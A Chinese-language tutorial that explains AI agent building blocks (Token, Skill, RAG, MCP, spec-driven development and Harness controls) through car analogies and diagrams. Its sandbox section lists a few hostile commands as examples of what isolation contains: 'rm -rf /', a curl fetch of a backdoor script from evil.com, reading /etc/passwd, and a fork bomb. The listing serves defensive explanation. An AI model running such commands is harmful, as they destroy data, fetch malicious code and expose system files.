省流版：Token 是钱 · Skill 是 App · RAG 是小抄 · MCP 是 USB-C · SDD 是施工图 · Harness 是马鞍。六个东西串起来，Agent 怎么转的你就全懂了。
🗺️ 先看地图，再上路
flowchart TB
subgraph top[" "]
USER["👤 用户交互层<br/>Chat UI / IDE / CLI"]
end
subgraph h["⚙️ Harness 安全系统"]
H1["🔒 Sandbox 安全气囊"]
H2["🔑 Permission 门禁"]
H3["🪝 Hook 安全带"]
H4["🔄 Loop 定速巡航"]
end
subgraph s["📋 SDD 设计图纸"]
S1["Spec 规约 → 验收条件"]
end
subgraph m["🔌 MCP 标准接口"]
M1["Tool"] & M2["Resource"] & M3["Prompt"]
end
subgraph r["📚 RAG 导航系统"]
R1["Embedding 向量化"] --> R2["语义检索"] --> R3["Rerank 重排序"]
end
subgraph sk["🧩 Skill 操控总成"]
SK1["System Prompt"] & SK2["Tool Set"] & SK3["Output Schema"]
end
subgraph tk["💰 Token 汽油"]
T1["Context Window 油箱"] & T2["Prompt Cache 省油模式"]
end
USER --> h
h --> s
s --> m
m --> r
r --> sk
sk --> tk
style top fill:#fafafa,stroke:#ddd
style h fill:#fff3e0,stroke:#ff9800
style s fill:#e8eaf6,stroke:#3f51b5
style m fill:#e0f2f1,stroke:#009688
style r fill:#fff8e1,stroke:#ffc107
style sk fill:#fce4ec,stroke:#e91e63
style tk fill:#f3e5f5,stroke:#9c27b0
ini
┌──────────────────────────────────────────┐
│ 🚗 AI Agent = 一辆智能汽车 │
├──────────────────────────────────────────┤
开车的人 │ 👤 用户 (Chat UI / IDE / 命令行) │
╔═══════════╗ │ ──────────────────────────────── │
║ Harness ║ │ 🛡️ 安全系统：气囊+ABS+车道保持 │ ← 第六章
╔╩═══════════╩╗ │ ──────────────────────────────── │
║ SDD ║ │ 📐 设计图纸：按图造车，验收不过就返工 │ ← 第五章
╔╩═════════════╩╗ │ ──────────────────────────────── │
║ MCP ║ │ 🔌 OBD 标准接口：一个诊断口，插遍所有外设 │ ← 第四章
╔╩═══════════════╩╗│ ──────────────────────────────── │
║ RAG ║ │ 🗺️ 导航系统：实时路况 + 地图数据 │ ← 第三章
╔╩════════════════╩╗│ ──────────────────────────────── │
║ Skill ║ │ 🎛️ 操控总成：方向盘+油门+档位 │ ← 第二章
╔╩══════════════════╩╗│ ──────────────────────────────── │
║ Token ║ │ ⛽ 汽油：没了它，再好的车也是废铁 │ ← 第一章
╚═══════════════════╝│ │
└──────────────────────────────────────────┘🚗 把 Agent 想象成一辆智能汽车：Token 是汽油（没油跑不动），Skill 是方向盘+油门（操控全靠它），RAG 是导航系统（实时路况靠外部数据），MCP 是 OBD 标准诊断口（一个接口插遍所有外设），SDD 是造车图纸（按图验收，不合格返工），Harness 是安全系统（气囊/ABS/车道保持------出事时保命）。缺任何一个，这车你敢开上路吗？
第一章
1. Token：AI 世界的「汽油 + 油箱 + 计价器」
1.1 到底什么是 Token？
想象你去国外旅游，兜里装着当地的硬币。Token 就是 AI 世界的硬币------你跟它说"帮我写篇文章"，它先把你说的每个字兑换成 Token，才能开始"思考"。
⚠️ Token ≠ 字数。一个 Token 是一个「语义碎屑」。
中文 / 英文 / 代码的 Token 消耗对比：
| 语言 | 输入 | 分词结果 | Token 数 | 规律 |
|---|---|---|---|---|
| 中文 | 我爱AI Agent |
我 爱 AI Agent |
4 | 约 1.5~2 字 = 1 token |
| 英文 | I love AI Agent |
I love AI Agent |
4 | 约 1 单词 ≈ 1.3 token |
| 代码 | const x = () => {} |
const x = () => {} |
6 | 标点也算，代码比较"胖" |
1.2 三个概念，三个比喻
ini
🛢️ Token = 汽油 每说一句话就往油箱里灌一点，账单跳一下
⛽ Context Window = 油箱容量 灌满了就得抽掉旧的才能加新的
GPT-4 ≈ 128K token（一本《三体》第一册）
Claude ≈ 200K token（一本半）
💸 Prompt Cache = 加油站会员卡 System Prompt 没变的部分 → 会员价 1 折
这就是为什么 System Prompt 写前面更省钱
（AI 一看："这段我见过！直接缓存。"）graph LR
A["💬 用户输入"] --> B["🔪 Tokenizer 切成碎片"]
B --> C{"📦 命中缓存？"}
C -->|"✅ 命中（这集我看过！）"| D["⚡ 缓存读取 价格 1 折"]
C -->|"❌ 未命中（新的，得算）"| E["🐌 完整推理 全价付费"]
D --> F["🧠 模型推理"]
E --> F
F --> G["📝 逐字输出"]
G --> H["🔤 拼回人话"]
1.3 算一笔账：你让 Agent 写份报告花了多少钱？
bash
第一轮： System Prompt (800) + 你的问题 (200) + AI 回答 (500) = 1,500 token
第二轮： 上面 1,500 + 搜索结果 (3,000) + AI 回答 (800) = 5,300 token
第五轮： 历史膨胀到 12,000 token...
──────────────────────────────────────────────────────────────────────
整个任务合计：~40,000 token
├─ 输入：~35,000 token × $3/百万 ≈ $0.105
├─ 输出：~5,000 token × $15/百万 ≈ $0.075
└─ 合计：$0.18 ≈ 1.3 元人民币
如果命中 Prompt Cache（System Prompt 前 1024 token）：
→ 那部分 input 打 1 折 → $0.07 → 省了 60% 💰💡 输出 Token 比输入 Token 贵 5 倍（推理计算量大），让 AI 少废话 = 省钱。
| 是什么 | 记法 | |
|---|---|---|
| 🩸 Token | Agent 的血液 | 一直在流动，耗尽就脑死亡 |
| 🫀 Context Window | 血管粗细 | 决定了能同时记住多少东西 |
| 🏥 Prompt Cache | 献血站 | 重复利用，省血省钱 |
第二章
2. Skill：Agent 的「乐高积木」
2.1 从一团乱麻到积木套装
V1 裸奔时代 → 每次写 500 字 Prompt，复制粘贴到想死，改一个字可能整段垮掉。
V2 Function Call → 工具变多了，但 Prompt 更乱了。
V3 Tool Definition → {name, description, parameters} --- 工具有了标准格式，但还是散装的。
V4 Skill 时代 🎉
ini
Skill = System Prompt + 一组 Tool + 输入/输出格式 + 触发方式
= 一个"能力胶囊"，随用随取，跟吃泡面一样方便🧩 Skill 就是 Agent 的 App。 你不会每次发微信都重写一遍聊天软件吧？点图标就行。
2.2 拆开一个 Skill
bash
┌─────────────────────────────────────────────┐
│ 📦 Skill：/code-review │
│ "代码审查小助手" │
├─────────────────────────────────────────────┤
│ 🧠 角色设定 │ 你是一个资深代码审查者... │
│ 🔧 工具箱 │ read_file / grep / git_diff │
│ 📥 触发方式 │ /code-review 或自然语言 │
│ 📤 输出格式 │ {bugs: [], suggestions: []} │
└─────────────────────────────────────────────┘2.3 Skill ≠ Tool ≠ Agent
| 粒度 | 类比 | 举例 | |
|---|---|---|---|
| Tool 工具 | 原子操作 | 🔧 螺丝刀 | 读文件 搜索 发请求 |
| Skill 技能 | Tool + Prompt 封装 | 📱 App | /代码审查 /安全扫描 |
| Agent 智能体 | Skill + 记忆 + 决策 | 🤖 一个人 | Claude Code、Devin |
ini
Skill = Tool₁ + Tool₂ + ... + 角色设定 + 输出模板
Agent = Skill₁ + Skill₂ + ... + 记忆 + 自主决策循环 + Harness
工程心法：
写 Tool → 像写纯函数
写 Skill → 像设计微服务
写 Agent → 像搭一个团队graph TD
A["/review 命令"] --> B["Skill Registry"]
B --> C1["🧠 角色设定"]
B --> C2["🔧 工具集"]
B --> C3["📤 输出格式"]
C2 --> D1["MCP Server"]
C2 --> D2["RAG Pipeline"]
第三章
3. RAG：给 AI 装上「记忆外挂」
3.1 为什么 AI 需要小抄？
| 硬伤 | 症状 | 名场面 |
|---|---|---|
| 🕰️ 知识截肢 | 训练数据停在某一天 | "我的知识截止到 2025 年..."------哪怕现在狂风暴雨 |
| 🤥 死要面子 | 不知道也要硬编 | 编一个看起来很真的股价（幻觉 = AI 的面子工程） |
| 🧠 金鱼记忆 | Context 根本装不下 | 给它 1000 页 PDF，它说"太长了，我看不完" |
arduino
传统 LLM： 你问 → 凭记忆猜 → "应该是这样吧..."
加了 RAG： 你问 → 先去资料库搜 → 拿着参考答案 → "根据资料，是这样..."📝 RAG = 给 AI 发一张开卷考试的准考证。 不用背答案，只要知道去哪翻书。
3.2 RAG 全流程：像图书馆里找答案
flowchart TB
subgraph offline["📚 离线建索引（图书馆上架）"]
A1["📄 文档 (PDF/代码/聊天)"] --> A2["✂️ Chunk 切块<br/>512 token/块，重叠 128"]
A2 --> A3["🧮 Embedding 向量化<br/>文字 → 1536 个数字"]
A3 --> A4["💾 存入向量库<br/>Milvus / Qdrant / Chroma"]
end
subgraph online["🔍 在线检索（读者找书）"]
B1["❓ 用户提问"] --> B2["🧮 Query 向量化"]
B2 --> B3["🔍 向量相似度 Top-K"]
B3 --> B4["📊 Rerank 重排序"]
B4 --> B5["📝 拼接 Prompt"]
end
A4 -.-> B3
B5 --> C1["🤖 LLM 生成答案"]
3.3 两个关键抉择
抉择一：Chunk 切多大？
| 策略 | 效果 | 问题 |
|---|---|---|
| 太小 (128 token) | 精度高 | 「苹果」不知道是手机还是水果 |
| 适中 (512 token) ✨ | 黄金平衡 | 一段完整语义，推荐首选 |
| 太大 (2048 token) | 上下文完整 | 噪音多，搜索精度下降 |
抉择二：怎么检索？
| 策略 | 原理 | 类比 |
|---|---|---|
| BM25 关键词 | 精确匹配 Error 503 |
在文档里 Ctrl+F |
| Embedding 语义 | 「启动不了」≈「启动失败」 | 像人理解同义词 |
| Hybrid 混合 ✨ | 两者加权 | 精确 + 语义 = 双保险，生产首选 |
3.4 RAG 也分三六九等
| Level | 叫什么 | 流程 | 适用场景 |
|---|---|---|---|
| 1 | Naive RAG | 搜 → 拼 → 答 | Demo 够用，生产必炸 |
| 2 | Advanced RAG | 改写 Query → 搜 → Rerank → 答 | 大多数生产场景 |
| 3 | Agentic RAG | Agent 自主决定搜不搜、搜几轮 | 复杂问答 |
| 4 | Graph RAG | 知识图谱 + 向量检索 | 多跳推理、关系型问题 |
| 5 | Self-RAG | 模型反思检索结果是否充分 | 高可靠性场景 |
🔑 做 RAG 就像做饭：锅（向量库）不重要，火候（Chunk）和调味（Rerank）才重要。
第四章
4. MCP：AI 世界的「USB-C 协议」
4.1 线缆地狱 → 一根线走天下
没有 MCP 之前：
css
┌──→ 数据库 → 写 Plugin A
Agent ───┼──→ GitHub → 写 Plugin B
├──→ Slack → 写 Plugin C
└──→ 文件系统 → 写 Plugin D
10 工具 × 5 框架 = 50 次开发
换框架 = 全军覆没，全部重写 🌊有了 MCP 之后：
arduino
┌──→ 数据库 MCP Server ──┐
Agent ───┼──→ GitHub MCP Server ─┤
├──→ Slack MCP Server ─┼── 统一协议，即插即用
└──→ 文件系统 MCP Server ─┘
10 Server + 5 框架 = 15 次开发
换框架？Server 不动，Client 改一下 ✨🔌 MCP 之于 Agent = USB-C 之于外设 = 蓝牙之于耳机 = WiFi 之于上网。 标准化协议终结线缆地狱。
4.2 MCP 是怎么工作的？
sequenceDiagram
participant 👤 as 你
participant 🖥️ as Host
participant 🔌 as MCP Client
participant ⚙️ as MCP Server
participant 🗄️ as 数据库
👤->>🖥️: "帮我查订单 #12345"
🖥️->>🔌: tools/list
🔌->>⚙️: 询问可用工具
⚙️-->>🔌: db_query, create_order, cancel_order...
🔌-->>🖥️: 工具菜单
🖥️->>🔌: 调用 db_query(SELECT ...)
🔌->>⚙️: tools/call
⚙️->>🗄️: 执行 SQL
🗄️-->>⚙️: [{id:12345, status:"已发货"}]
⚙️-->>🔌: 结果返回
🔌-->>🖥️: 结果返回
🖥️->>👤: "你的订单已发货！📦"
4.3 MCP 三件套：Tool / Resource / Prompt
ini
┌────────────────────────────────────────────┐
│ MCP Server = 一家餐厅 │
├────────────────────────────────────────────┤
│ 🔧 Tool = 厨房操作 "我可以帮你做菜" │
│ 📦 Resource = 冰柜食材 "我这里有牛肉" │
│ 📋 Prompt = 推荐菜单 "不知道吃啥？试试招牌" │
└────────────────────────────────────────────┘| 原语 | 功能 | 人话 | 举例 |
|---|---|---|---|
| Tool | 让 Agent 做事 | "我帮你做 XX" | search_code create_pr |
| Resource | 让 Agent 看东西 | "我这有 XX" | 文件、数据库表、API |
| Prompt | 告诉 Agent 怎么想 | "你可以这样思考" | code-review checklist |
4.4 为什么 MCP 是及格线？
❓ "怎么让 Agent 调我的数据库？" → 写个 MCP Server，完事 ❓ "换框架工具要重写吗？" → 不用，Server 不动 ❓ "别人写的工具我能直接用吗？" → 能，MCP 生态即插即用
写一次 Server，跟谁都能跑。 就像 HTTP：不管你用 Chrome 还是 Safari，协议不变。
🔑 MCP 不是框架，是协议 。它是 Agent 和外部世界的普通话------大家都说同一种语言，才不会各说各话。
第五章
5. SDD：从「嘴说需求」到「AI 自动写代码」
5.1 装修队的故事
传统开发（嘴说需求）：
你说："我要一个亮堂的厨房，好看。" 队长自行脑补 → 三周后你看到了一个粉色 Hello Kitty 厨房 🎀 你："这tm是什么？" 队长："你说的'好看'啊。"
SDD（规约驱动开发）：
你拿出一份施工图：墙面白色瓷砖 30×60cm、台面石英石 #F5F5F5、灯光 4000K ≥300 lux... 按图施工 → 验收对照清单 → 不合格就返工 → 三周后 ✅
SDD = 用结构化的 Spec 代替含糊的需求描述。
flowchart LR
A["📝 写 Spec"] --> B["🤖 AI 生成代码+测试+文档"]
B --> C["🔍 AI 对照 Spec 自我验证"]
C -->|"✅"| D["📦 交付"]
C -->|"❌"| E["🔧 自动修复"]
E --> C
C -->|"💬"| A
5.2 一个真正的 Spec 长什么样？
markdown
## Feature：用户登录
### 描述
用户使用邮箱和密码登录系统。
### 验收条件
- [ ] 正确邮箱 + 正确密码 → 跳转 /dashboard
- [ ] 正确邮箱 + 错误密码 → 提示"密码错误"，停在原地
- [ ] 连续 3 次错误 → 锁定 15 分钟
- [ ] 未注册邮箱 → 提示"该邮箱未注册"
- [ ] 输入框为空 → 按钮灰色不可点
### 技术约束
- JWT Token，有效期 2h
- 密码 bcrypt 加密
- 路由：POST /api/auth/loginAI 拿到这份 Spec，直接生成：路由 + 验证 + 错误处理 + 前端组件 + 单测 + E2E。 一份 Spec 全部拿下。
5.3 SDD 的五层境界
graph TB
L1["🥚 Level 1：随口一说<br/>'帮我写个登录' → 时好时坏"]
L2["🐣 Level 2：结构化 Spec<br/>描述 + 验收条件 + 技术约束"]
L3["🐥 Level 3：代码自动生成<br/>Spec → 代码 + 测试 + 文档"]
L4["🦅 Level 4：CI 持续验证<br/>每次 PR 自动跑 Spec，不合格就阻断"]
L5["🐉 Level 5：自主修复<br/>线上报 bug → AI 看 Spec → 自动修"]
L1 --> L2 --> L3 --> L4 --> L5
💡 大部分团队停在 L1-L2，少数前沿团队在 L3-L4。L5 是理想国，方向是对的。
🔑 SDD 的核心不是「AI 写代码更快」，而是 「需求 → 代码」的可验证闭环 。传统开发中「你理解错了」是最大的 Bug 来源。SDD 用 Spec 作为人和 AI 之间的法律合同。
第六章
6. Harness 工程：Agent 的「缰绳 + 围栏 + 仪表盘」
6.1 为什么需要缰绳？
🐴 如果你养了一匹烈马，你敢撒手让它在大街上跑吗？ Agent 就是烈马------聪明、能干、但也可能一脚踩进花坛。 Harness = 控制 Agent 的基础设施。 没有它 = 野生猛兽，有了它 = 家养小帮手。
vbnet
┌──────────────────────────────────────────────────────┐
│ 🏇 Harness 六件套 │
├──────────────────────────────────────────────────────┤
│ 🔒 Sandbox │ 在围栏里跑，别踩别人家花 │
│ 🔑 Permission │ 有些门能进，有些不能 │
│ 🪝 Hook │ 关键时刻拦你一下 │
│ 🔄 Loop │ 定个闹钟，自己知道什么时候起来 │
│ 📊 可观测性 │ GPS 全程跟踪，跑偏了我能看见 │
│ ⏱️ Timeout │ 超时了就别跑了，回来 │
└──────────────────────────────────────────────────────┘6.2 Sandbox --- 给 Agent 画个圈
Agent 执行的命令是模型实时生成的，模型会幻觉，幻觉会产出离谱命令。
arduino
❌ "rm -rf /" → 沙箱：删虚拟文件，真文件纹丝不动 😎
❌ "curl evil.com/backdoor.sh" → 沙箱：网络隔离，evil.com 连不上 🚫
❌ "cat /etc/passwd" → 沙箱：文件系统只读，白忙活 🔒
❌ "while true; do fork; done" → 沙箱：CPU cgroup 限制，炸不了 💪| 方案 | 隔离强度 | 类比 | 适用场景 |
|---|---|---|---|
| Docker | ⭐⭐⭐ | 公寓单间 | 通用 Agent |
| Firecracker | ⭐⭐⭐⭐⭐ | 独栋别墅 | 不可信代码 |
| Git Worktree | ⭐⭐ | 桌上铺塑料布 | 代码修改 |
| WebAssembly | ⭐⭐⭐⭐ | 乐高盒子里玩 | 插件/函数 |
6.3 Permission --- 门禁卡系统
flowchart TB
A["Agent 想干点啥"] --> B{"什么操作？"}
B -->|"📖 读文件"| C1["🟢 绿灯：直接放行"]
B -->|"✏️ 写文件"| C2["🟡 黄灯：用户确认"]
B -->|"🌐 网络请求"| C3["🟡 黄灯：白名单自动过"]
B -->|"💀 sudo/install"| C4["🔴 红灯：默认拒绝"]
C1 --> D[✅ 执行]
C2 & C3 & C4 --> E{"权限够？"}
E -->|"够"| D
E -->|"不够"| F["🙅 被拒，换策略重来"]
arduino
权限五级：
Lv.1 无权限 → "你只能说话，啥也别碰"
Lv.2 只读 → "看可以，摸不行"
Lv.3 安全写入 → "新建/编辑可以，删东西要问"
Lv.4 需确认网络 → "上网可以，每次要批准"
Lv.5 完全自主 → "信你了"（仅限 CI/CD）
🔑 心法：从最严格开始，跑稳了再慢慢放开。就像养娃------先扶着走，再放手跑。6.4 Hook --- 关键时刻「拦一道」
Hook = Agent 生命周期里的安检口。
vbnet
🚀 启动
│
▼
PreToolUse → "你要 git push --force？先弹确认框！"
│
▼
PostToolUse → "文件改了？自动触发 Prettier 格式化。"
│
▼
Notification → "CI 挂了！Agent 快起来修！"
│
▼
Stop → "结束了？把会话总结存进知识库。"
│
▼
💤 结束| Hook | 时机 | 用途 |
|---|---|---|
PreToolUse |
工具调用前 | 拦截危险操作、校验参数 |
PostToolUse |
工具调用后 | 自动格式化、记录日志 |
Notification |
外部事件 | CI 通知、Webhook 触发 |
Stop |
Agent 停止 | 资源清理、状态持久化 |
6.5 Loop --- 让 Agent 自己知道什么时候起床
| 模式 | 机制 | 适合 |
|---|---|---|
| ⏰ 闹钟模式 | /loop 5m "检查部署"，定时轮询 |
巡检、监控 |
| 🧠 自主模式 | Agent 自己决定睡多久 | 长期任务，不用操心 |
| 📟 传呼机模式 | Webhook 通知触发 | 不轮询，有事才动 |
stateDiagram-v2
[*] --> 😴 待机
😴 待机 --> 🤔 规划：收到任务
🤔 规划 --> ⚡ 执行
⚡ 执行 --> 👀 观察
👀 观察 --> 🤔 规划：还没干完
👀 观察 --> 😴 待机：干完了
⚡ 执行 --> 💥 报错
💥 报错 --> 🤔 规划：重试
💥 报错 --> 😴 待机：放弃
6.6 可观测性 --- Agent 不能是黑盒
你不监控 Agent，就像闭着眼让实习生负责核心业务： 他可能删库、死循环烧钱、或者"看起来完成了"但只做了一半。
一个生产级 Agent 的仪表盘：
📊 Token 消耗 → 哪个环节最烧钱？（通常是不必要的重试）
⏱️ 延迟分布 → 模型慢还是工具慢？
🔧 工具调用链 → 调了什么？参数是啥？返回值是啥？
❌ 错误率 → 什么类型的任务最容易翻车？
🔄 重试次数 → Agent 在哪个环节反复打转？（死循环预警）
📉 任务完成率 → 到底有多少是真干完了？🔑 没有 Harness = 玩具，有 Harness = 产品。 五缺一 = 不定时炸弹 💣
终章
7. 大串联：一个完整故事
sequenceDiagram
participant 👤 as 👤 你
participant ⚙️ as ⚙️ Harness
participant 🤖 as 🤖 Agent
participant 🧩 as 🧩 Skill
participant 🔌 as 🔌 MCP
participant 📚 as 📚 RAG
participant 💰 as 💰 Token
👤->>⚙️: "帮我调研 AI Agent 最新动态，写份报告"
Note over ⚙️: 🔒 Permission 检查：允许搜索+写文件
⚙️->>🤖: 任务发布（Sandbox 内）
🤖->>💰: 还剩多少 Token？
💰-->>🤖: 180,000，够用！
🤖->>🧩: 加载 /research Skill
🧩-->>🤖: System Prompt + 搜索工具集
loop 🔄 自主循环
🤖->>🔌: web_search("AI Agent 2026")
🔌-->>🤖: 搜到 10 篇文章
🤖->>🔌: web_fetch(最佳文章)
🔌-->>🤖: 文章太长！触发 RAG
Note over 📚: Chunk→Embedding→检索→Rerank
📚-->>🤖: 精选 Top-5 片段
🤖->>🤖: 信息够了？不够，再搜一轮
end
🤖->>🔌: write_file("报告.md", 内容)
🔌-->>🤖: 写入成功 ✅
🤖->>⚙️: 任务完成！
⚙️->>💰: 结算：32,450 token = $0.08
⚙️->>👤: 📄 报告已生成
8. 一张图收尾
markdown
┌──────────────┐
│ 👤 你 │
└──────┬───────┘
│
┌───────────▼───────────┐
│ ⚙️ Harness 缰绳 │ ← 护栏 + 门禁 + 闹钟 + 监控
└───────────┬───────────┘
│
┌───────────▼───────────┐
│ 🤖 Agent 大脑 │ ← 决策引擎
└───┬───────┬───────┬───┘
│ │ │
┌─────────▼──┐ ┌──▼─────┐ │
│ 🧩 Skill │ │📋 SDD │ │ ← 能力单元 + 蓝图
└─────┬──────┘ └────────┘ │
│ │
┌─────────▼──────────┐ │
│ 🔌 MCP USB-C │ │ ← 工具调用标准协议
└─────────┬──────────┘ │
│ │
┌─────────▼──────────┐ │
│ 📚 RAG 小抄 │ │ ← 外部知识注入
└─────────┬──────────┘ │
│ │
┌─────────▼──────────────────▼─┐
│ 💰 Token 汽油 │ ← 计费 + 容量
└─────────────────────────────┘9. 终极懒人表
| 概念 | 类比 | 没它会发生什么 | 门槛 |
|---|---|---|---|
| Token | 汽油 + 油箱 | Agent 跑半路"饿死"（失忆） | ⭐ |
| Skill | 手机 App | 每次写 500 行 Prompt，复制粘贴到崩溃 | ⭐⭐ |
| RAG | 开卷小抄 | AI 一本正经地胡说八道 | ⭐⭐⭐ |
| MCP | USB-C 接口 | 换框架 = 全部重写 | ⭐⭐⭐ |
| SDD | 装修施工图 | "你理解错了"型 Bug 满天飞 | ⭐⭐⭐⭐ |
| Harness | 马鞍 + 缰绳 + 围栏 | Agent 放飞自我，你不知道它在干嘛 | ⭐⭐⭐⭐⭐ |
10. 学习路径
graph LR
A["1️⃣ Token<br/>理解计费和 Context"]
A --> B["2️⃣ Skill<br/>写出可复用 Prompt"]
B --> C["3️⃣ RAG<br/>搭建知识库问答"]
C --> D["4️⃣ MCP<br/>接入标准工具协议"]
D --> E["5️⃣ Harness<br/>权限 + 沙箱 + 可观测"]
E --> F["6️⃣ SDD<br/>用 Spec 驱动开发"]
style A fill:#ffeb3b
style B fill:#ffc107
style C fill:#ff9800
style D fill:#ff5722
style E fill:#f44336
style F fill:#e91e63
| 阶段 | 范围 | 目标 |
|---|---|---|
| 前半段 | Token → Skill → RAG | 让 Agent 能干活 |
| 后半段 | MCP → Harness → SDD | 让 Agent 靠谱地干活 |
⚠️ 别跳级------你连 Context Window 都没搞明白就搞 Harness，等于还没学会踩油门就去改赛车悬挂。
📎 延伸阅读
| 资源 | 一句话 |
|---|---|
| Agent-Learning-Hub | 中文最全，Stage 0→8 |
| Anthropic Agent 课程 | 13 堂免费课 + 证书 |
| MCP 官方文档 | 协议规范，写 Server 必看 |
| Claude Code 文档 | Harness 工程的活教材 |
| awesome-agentic-ai-zh | 145+ Agent 项目精选 |
🧬 Token 是血 · Skill 是骨 · RAG 是外挂 · MCP 是神经 · SDD 是蓝图 · Harness 是免疫系统
最后更新：2026-06-01